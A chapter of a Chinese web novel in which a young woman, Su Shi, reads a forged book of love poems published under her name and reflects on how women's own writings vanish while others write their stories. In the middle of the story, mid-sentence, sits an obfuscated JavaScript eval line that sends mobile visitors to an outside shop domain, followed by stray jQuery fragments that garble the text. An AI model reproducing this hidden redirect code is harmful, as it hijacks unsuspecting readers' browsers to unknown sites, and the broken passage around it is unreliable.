（弘昌二十二年，十二月）
伪本的事，春桃起初不敢告诉苏时。
听雪轩里照旧安静。苏时白日看卷宗，夜里偶尔写几行小册子。外头那些话像风里的灰，府中上下都知道，却人人小心，生怕一开门，灰便吹进来，落到她身上。
春桃也听见了。
最先是厨房里两个小丫鬟压低声音议论，说外头新出了什么《苏二小姐残稿》，比先前那些雷火怪谈还卖得快。后来又听洒扫婆子说，坊间有人把那几首诗抄在扇面上，笑说户部侍郎府里的小姐，原来也会写那样的闺怨词。
春桃听得手脚发凉，当场摔了一只药碗。
她不识多少字，可“闺怨”“艳词”“情郎”这些话，即使不全懂，也知道不是好东西。那些人把苏时的名字放在嘴里翻来覆去，说得轻佻，又带着一种看热闹的兴奋。春桃气得脸色发白，却连骂回去都不知道该骂什么。
那日傍晚，她在后门边看见一本薄薄的小册子。
纸色发灰，墨印歪斜，封面上几个字粗粗印着：
苏二小姐残稿。
春桃认得“苏”，也认得“小姐”。
中间两个字，她看了很久，没认出来。
她趁没人注意，把那册子塞进袖中。
夜里，苏时睡下后，春桃坐在小床边，借着将熄未熄的灯翻开。
里面密密麻麻都是字。
她读得很慢。许多字不认得，只能挑出自己会的：苏，时，小姐，春，夜，梦，郎。
看到“郎”字时，她脸色白了一下。
她知道不是这样。
苏时夜里写的小册子，她见过。里面是东厢房，是盐法，是田册。苏时写诗时，也不是这本册子里的味道。
春桃又往后翻。
字还是读不通，可那些句子黏在一起，叫人恶心。
她想把书撕了，手指按住纸边，又停住。
撕了这一本，外头还有许多本。
她连上头许多字都认不全。
春桃坐了很久，最后从枕下摸出自己藏着的废纸和旧笔。
她照着封面，把那两个不认得的字描了一遍。
残。
稿。
第一遍写得歪，第二遍仍歪。
她又在下面写：
不是。
这两个字她会写。
写完后，春桃把纸折起来，塞进枕下。那本《苏二小姐残稿》被她用旧布包住，压到小床最里面。
第二日清晨，苏时醒来时，春桃照常替她梳头。
铜镜里，春桃的眼睛有些红。
苏时看了她一眼：“昨夜没睡好？”
春桃手里的梳子停了一下。
“风大，吵醒了。”
她低着头，没有再说，好像把门关紧，外面的风就吹不进听雪轩。
可门关得再紧，苏时还是察觉了。
那日午后，苏时正坐在窗边看一卷旧案。春桃端茶进来，茶盏放在案上时，瓷盖碰出一声轻响。她平日手很稳，这一回却连茶水都洒出了一点。
苏时抬眼看她。
“怎么了？”
春桃忙低头去擦：“没什么，奴婢手滑了。”
苏时看了她一会儿，没有再问，低头继续看卷。
春桃站在一旁，心里像压着一块热炭。她想说，又不敢说。不说，外头那些脏东西仍在传；说了，便像亲手把那本脏书送到小姐面前。
她熬到傍晚，替苏时点灯时，终于忍不住低声道：“小姐，外头……外头又有些话。”
苏时的手停在书页上。
“说我？”
春桃没有应声。
这便是应了。
苏时把书合上，放到案边。
“说什么？”
春桃的嘴唇动了动，眼眶先红了。她低下头，手指攥着灯剪，声音很低：“外头说您是……说您是那种人。还印了书……”
苏时静了一下。
“什么样的人？”
春桃说不出来。
那些话太脏，她不敢重复。那些诗也太轻浮，她怕一出口，就像真的把污水泼到了苏时身上。她憋了许久，只憋出一句：“不是您。”
苏时望着她。
春桃抬起头，眼里已经有了泪意，急急道：“小姐，不是您。奴婢知道不是您。大小姐也知道，老爷夫人也知道。那都是外头胡写的。”
苏时没有立刻说话。
窗外风吹过竹叶，影子晃在纸窗上，一片一片，像水底的细草。
过了一会儿，苏时道：“拿来给我看。”
春桃脸色一变。
“小姐！”
“我想看。”
“不行。”春桃几乎是脱口而出，说完又慌忙跪下，“奴婢不是违逆小姐。那书脏得很，小姐看了只会难受。老爷已经叫人去收了，夫人也说不许传进来。”
苏时看着她。
“春桃。”
春桃低着头，眼泪掉到地上。
“奴婢求小姐，别看了。”
苏时没有逼她起身，只轻声道：“外头既然写的是我，我总该知道他们写了什么。”
春桃哭得说不出话。
苏时又道：“你不给我，我也会从别人那里听见。”
这句话落下后，春桃的肩膀慢慢塌了下去。
她知道苏时说得对。
府中越是遮掩，外头的东西越会从更窄的缝里漏进来。今日不让她看，明日她也许会听见更难听的。还不如由自己拿来，至少能守在旁边。
苏时从春桃那接过那本书时，帕子还带着春桃掌心的温度。
那书很薄。
封面是劣质红纸，红得发俗。墨印得不匀，有些地方重，有些地方浅，书名却印得很清楚。
《苏二小姐残稿》。
苏时看着那几个字，指尖没有动。
春桃站在一旁，脸色白得厉害。
“小姐……”
苏时把帕子展开，将书放在案上。
她翻开第一页。
纸很粗，指腹擦过去时，有一点轻微的涩。前几页仍是些旧日怪谈，说苏府雷火，说二小姐病中得诗，说她自幼养在佛寺，不沾俗尘，又因一场天雷被接回府中。那些话半真半假，夹着许多荒唐想象，写得像茶楼说书人的底稿。
再往后，便是诗。
第一首写春夜。
第二首写病中梦见少年郎。
第三首写女子隔帘思人。
字句酸腐，轻浮，甚至笨拙。那不是好诗，也不是有真情的烂诗。它只是把闺阁、病弱、相思这些词胡乱揉在一起，再署上一个足以卖钱的名字。
苏二小姐。
每一首后面，都写着这四个字。
苏时一页一页翻过去。
春桃站在她身后，连呼吸都不敢重。她几次想伸手把书夺回来，又硬生生忍住。苏时的脸色很白，却没有哭，也没有发怒。她只是看。看得很慢，像在看一卷与自己毫不相干的案宗。
翻到最后一页时，纸边已经被人翻得起毛。
那是一首所谓“寄情郎”的诗。
前头几句写得更不堪，满纸都是做作的柔肠和露骨的相思。苏时没有细看。她的目光只落到最后一句。
愿君识我心如雪。
她看了很久。
然后把书合上。
屋里安静下来。
春桃急得几乎哭出来：“小姐，那不是您。”
苏时低声道：“嗯。”
“小姐写的诗不是这样的。”
“嗯。”
“那些人胡写。”
苏时仍旧应了一声：“嗯。”
春桃听见她这样平静，反而更慌。她宁愿苏时骂，宁愿她把书撕了，宁愿她发抖、掉眼泪，也好过这样一声一声地应着，像什么都听进去了，又像什么也没有落到脸上。
苏时把那本伪书放到案角。
“你出去吧。”
春桃愣住。
“小姐……”
“我想自己坐一会儿。”
春桃不敢走。
苏时抬眼看她。
“我不会做什么。”
这句话让春桃的眼泪一下子涌出来。她忙低头擦掉，又怕苏时看见，胡乱应了一声，退到门外。门合上后，她没有走远，只守在廊下，隔着门听屋里动静。
屋中没有声音。
苏时坐在窗边。
那本薄薄的伪书放在案角，红纸封面在昏淡天光里显得刺眼。她伸手摸了摸封面上的字，指尖沾了一点粗墨。
苏二小姐。
原来这几个字可以这样轻易地印出来。
她想起最后那句。
愿君识我心如雪。
她觉得这句很好笑。
又一点也笑不出来。
她确实写过诗。
写过春桃清晨替她梳头时垂下的眼睫，写过夜里窗边小床上传来的呼吸，写过竹影，热水，药气，晴日落在手腕旧疤上的一点暖。那些诗很短，念给春桃听过，念完便烧掉。火苗卷上纸角，墨迹一黑，便什么都没有留下。
她写过《春江》。
那一日她忘了烧，被苏婉仪看见。那首诗里有江，有月，有千年流光，有人立在天地之间时说不清的孤独。那不是写给谁的情郎，也不是病中春梦。那是她第一次把胸口那片空茫写出来。
她也写过那张愿笺。
大千世界，竟无一容身之所。
那句话被她投进愿箱，本该随香火一起烧掉。后来被姐姐看见，被父亲看见，成了家里人终于看见她的一道裂痕。
可这些都不在外头。
外头没有她给春桃念过的诗。
没有《春江》。
没有那张愿笺。
没有她在卷宗边写下的“他也难。可他还有族名可借，她没有”。
外头的人不知道她写过什么。
于是他们替她写。
写春夜，写情郎，写病中相思，写“愿君识我心如雪”。
他们写得不好。
可只要署上“苏二小姐”，便有人买，有人传，有人笑着评一句：原来那位苏家小姐是这样的。
苏时低头看着自己的手。
她忽然想起苏婉仪。
姐姐在漱玉轩里写了那么久的《历代闺秀诗考》。那些纸压在旧书底下，字写得很小，出处列得很细。姐姐一条一条从地方志、杂录、残卷里把那些女子的名字捡出来，替她们补姓氏，补生平，补被旁人略去的一两句。
可若姐姐嫁了呢？
那些纸能带去许家吗？
许夫人会怎么看？
许家那些女眷会不会笑她心气太高，说女子读书消遣可以，考证旧人、替前朝女子立传，便有些过了？
也许不会有人当场骂她。
他们会很有规矩地劝。说新妇初入门，先学家中礼数；说管家比写书要紧；说才名是好事，可传出去不稳重。再往后，那些纸会被锁进箱底，或者被火盆慢慢吞掉。
外头若有一日再提苏婉仪，不会提她写过什么。
只会说，苏家大小姐，才名早著，二十余岁嫁入许家，相夫教子，温婉持家。
也许还会夸一句：许家娶得好。
苏时的手指慢慢收紧。
她又想起母亲。
林青卿说过，年轻时也曾在娘家偷看书。她没有细说自己写过什么，可苏时记得，母亲曾说“娘想做对，可娘不知道什么是对的”。那不是一日之间说出来的话。那是许多年里，她一次次想过，又一次次把自己按回旧路后，才剩下的一句。
母亲少女时，也许写过字。
也许在书页边写过几句不该写的想法。也许反驳过哪一句训诫，哪一句“女子当如何”。后来嫁进苏府，做夫人，管内宅，生儿育女，送汤、送衣、送点心，学会在体面里退让，在规矩里疼人。
那些字呢？
烧了。
没人看见。
外头只知道苏夫人性情温婉，治家有方。不会知道她少女时也曾不服过，也曾想过别的活法。
苏时望着窗纸上的竹影。
影子晃得很轻。
她想起卷宗里的那个寡妇。
案卷里写她“某氏”，写她夫亡，写田亩归并，写族中照拂，写岁给口粮。写得平平整整，看似周全。可她叫什么？她自己是否愿意？她有没有在夜里骂过，有没有在病中后悔，有没有想过不把田交出去？
卷宗没有写。
外头只知道某氏。
再往后，她连某氏也不是，只会变成一桩旧案里被处理掉的一行字。
她又想起玉娘。
东市卖花女，名玉娘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606092|205723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她卖兰草和栀子，冬里病死，留下女儿阿萝。旧日的苏时撞翻过她的竹篮，没有回头。日记里写的是“卖花女”，街边老汉说的是“那个卖兰草和栀子的妇人”。直到福伯查回来，苏时才知道她叫玉娘。
如果没有人去查，她便永远只是卖花女。
一个被撞翻过竹篮的卖花女。
她的名字太轻，轻到连亏欠她的人都没能写下。
苏时垂下眼。
旧日的苏时呢？
外头知道他什么？
不成器。
喝酒，赌钱，欠账，惹父亲动怒。被雷劈后生死不明，后来成了市井怪谈里那个“苏家少爷”。有人说他遭天谴，有人说他死了，有人说苏府把他藏起来。那些话里，没有一个人知道，他怕读书怕到一翻经书就头疼。没有人知道姐姐六岁时教他写名字，他曾写下“她笑的时候很好看”。没有人知道他买过一对兰草纹银镯，想送给姐姐，又不敢送。没有人知道他在残册里写“我是不是很坏”。
他确实坏过。
混账过。
伤过人。
可外头记住他的坏，也不是他的全部。
他的全部也没有留在外面。
只剩一册残本，被火燎过，被水泡过，藏在床板底下。若不是苏时去东厢房，它便会和那间废墟一起烂掉。到最后，旧日的苏时只会被记成一个废物，或者一个怪谈的开端。
苏时坐在那里，慢慢把所有人想了一遍。
姐姐。
母亲。
卷宗里的寡妇。
被迫出嫁的十五岁少女。
玉娘。
旧日的苏时。
还有她自己。
她忽然觉得，这些人并不是一样的人。出身不同，处境不同，错处也不同。有的人无辜，有的人可恨，有的人又无辜又可恨。可他们都有一处相似。
他们真正写过、想过、疼过的东西，没有留在外面。
外面留下的，都是别人替他们写的。
替姐姐写成许家新妇。
替母亲写成温婉夫人。
替寡妇写成某氏。
替父母补税。
替玉娘写成卖花女。
替旧苏时写成废物。
替她写成苏二小姐残稿。
苏时伸手，把那本伪书重新打开。
翻到最后一页。
愿君识我心如雪。
她盯着那一句，忽然想起自己曾经练习写字。最初写“永”“安”“静”“养”，后来夜里写“厌”。那些字被她藏进妆奁底下。她害怕字留下来，害怕被人看见，害怕它们像“讨厌”那只木匣一样被拿到父亲母亲面前，变成别人审视她的东西。
所以她烧诗。
所以她藏字。
所以她把许多东西只给春桃听，只给自己看，只压在小册子里。
可她藏起来以后，外头便空了。
空处不会一直空着。
会有人来填。
填上他们想看的闺怨，想看的艳情，想看的病弱，想看的怪谈，想看的“心如雪”。
苏时合上书。
这一次，她没有再看封面。
屋里天色暗了下去。窗外的竹影渐渐模糊，只剩几道深浅不一的灰。炭盆里的火快灭了，屋里有些冷。苏时没有叫春桃，也没有起身添衣。
她只是坐着。
坐得很久。
她想起许府那日。
许夫人说女子要知分寸。
她坐在那里，听见那些话落到姐姐身上，也落到自己身上。如今这本伪书摆在案上，才让她看清楚，所谓分寸，有时就是让一个人把自己的字藏好，把自己的声音压低，把自己的位置让出来，等别人替她安排一个体面的说法。
姐姐的说法。
母亲的说法。
她的说法。
都可以被别人写好。
苏时慢慢抬起头。
窗外已经全暗了。
屋里只剩书案旁一盏小烛。烛火照着那本伪书，红封面在暗处更像一块凝住的血。她把书拿起来，想丢进炭盆。
手停在半空。
炭盆里的火太弱了。
烧不干净。
她看了一会儿，最后没有烧。她把伪书合好，放进书案最底层的抽屉里，压在那些旧卷宗下面。
这本书不该替她留下。
可她也不能当作它不存在。
做完这一切后，苏时仍旧坐回窗边。
她没有哭。
没有发怒。
也没有立刻去找父亲。
她只是觉得胸口某处被慢慢填满了。不是热，也不是疼，更像是一只空了很久的杯子，终于被一滴一滴倒入某种苦涩的水。水已经到了杯沿，再多一点，便会溢出来。
可现在，还差一点。
苏时望着黑下来的窗纸，想起旧日的苏时在残册里写：
我已经不知道该怎么办了。
那半页后面被火烧没了。
她从前看那句话，只觉得那是一个人走到尽头的声音。
如今她坐在这里，忽然明白，那句话也可以是另一个开始。
不知道该怎么办。
所以总要做点什么。
可是做什么呢？
她还不知道。
门外春桃又轻轻唤了一声。
“小姐，夜深了。”
苏时终于应道：“嗯。”
她起身时，腿有些麻。走到门边，伸手打开门。春桃站在廊下，手里捧着一件披风，眼睛红红的，显然守了很久。
苏时接过披风，披在身上。
春桃小心看她：“小姐……那书……”
“收起来了。”
春桃怔住：“不烧吗？”
苏时摇头。
“不烧。”
“为什么？”
苏时低头系好披风带子。
“烧了，也还是有人写。”
春桃说不出话。
苏时没有再解释，抬头看向院中。
夜色很深，竹林里风声细碎。听雪轩安静得像一处被世间暂时遗忘的小院。可苏时知道，外头并没有忘记她。外头正在替她写，替她说，替她决定她是什么样的人。
——————————————————————————————————————